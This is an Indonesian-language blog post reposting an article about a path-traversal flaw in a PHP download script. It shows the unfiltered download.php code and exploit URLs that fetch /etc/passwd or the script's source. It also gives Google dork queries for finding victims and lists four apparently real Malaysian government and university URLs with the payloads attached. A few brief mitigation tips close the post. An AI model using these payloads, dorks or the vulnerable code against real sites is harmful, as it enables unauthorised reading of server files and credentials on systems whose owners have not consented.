May 26, 2008

PHP download script vulnerability

Filed under: Bugs

php download script vulnerability, itulah judul artikel saya yang dipublish di jasakom pada 18 januari 2008

http://www.jasakom.com/index.php?categoryid=9&p2_articleid=595
berikut ini isinya

PHP download script vulnerability
Oleh tomplixsee
Published: Januari 18, 2008

Sebenarnya saya bingung mau memberi judul apa pada artikel ini. Maaf bila judulnya agak kurang pas dengan isi artikelnya
PHP adalah suatu bahasa pemrograman web yang cukup sakti yang kehandalannya tidak diragukan lagi. Tapi,adanya kesalahan dalam logika pemrograman php akan bisa berakibat fatal.

Salah satu contohnya adalah :
//download.php
header( “Content-Type: application/octet-stream” );
header( “Content-Length: ” . filesize($_GET[’file’] ) );
header( “Content-Disposition: inline; filename=\”$_GET[file]\”");
readfile($_GET[’file’] );
?>

Kode php diatas memiliki kelemahan yang fatal, dimana variabel “file” sama sekali tidak difilter, sehingga hacker akan bisa mendownload file apapun yang ada di server tersebut. Misalkan saja sang hacker mengakses alamat http://korban/download.php?file=../../../../../../etc/passwd maka file /etc/passwd milik server akan dikirimkan ke hacker.
Atau jika hacker mengakses alamat http://korban/download.php?file=download.php maka hacker akan mendapatkan source code dari file download.php.
Sedangkan untuk mencari korban bisa kita gunakan google, misalkan dengan syntax inurl:”download.php?file=” , atau inurl:”download.php?file=*.pdf” -intext:”download.php?file=*.pdf” atau yang lainnya.

Beberapa contoh situs yang vulnerable adalah:

http://www.mpbp.gov.my/download.php?file=download.php
http://elearning.mmu.edu.my/download.php?file=download.php
http://www.utem.edu.my/fkp/latihanIndustri/download.php?file=../../../../../../etc/passwd
http://www.moe.gov.my/pipp/download.php?filename=/../../../../../../etc/passwd

Adapun sedikit hal untuk pencegahan adalah:

1. lakukan pemfilteran terhadap inputan yang diterima dari user.
Misalkan pemfilteran terhadap karakter “../”, “%00”, atau type file yang boleh didownload.
2. lakukan pembatasan file access
3. berikan batasan, file di folder mana saja yang boleh didownload atau tidak
4. untuk menghindari googling, hindari penamaan script dengan nama “download.php” dan nama variabel dengan nama “file”.

 

 Sumber : http://www.cupu-zone.com/wordpress/?p=12

 

Comments »

The URI to TrackBack this entry is: http://jeky466.blogsome.com/2008/05/26/php-download-script-vulnerability/trackback/

yes

RSS feed for comments on this post.

allow a comment

Line and paragraph breaks automatic, e-mail address never displayed, HTML allowed: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>



Anti-spam measure: please retype the above text into the box provided.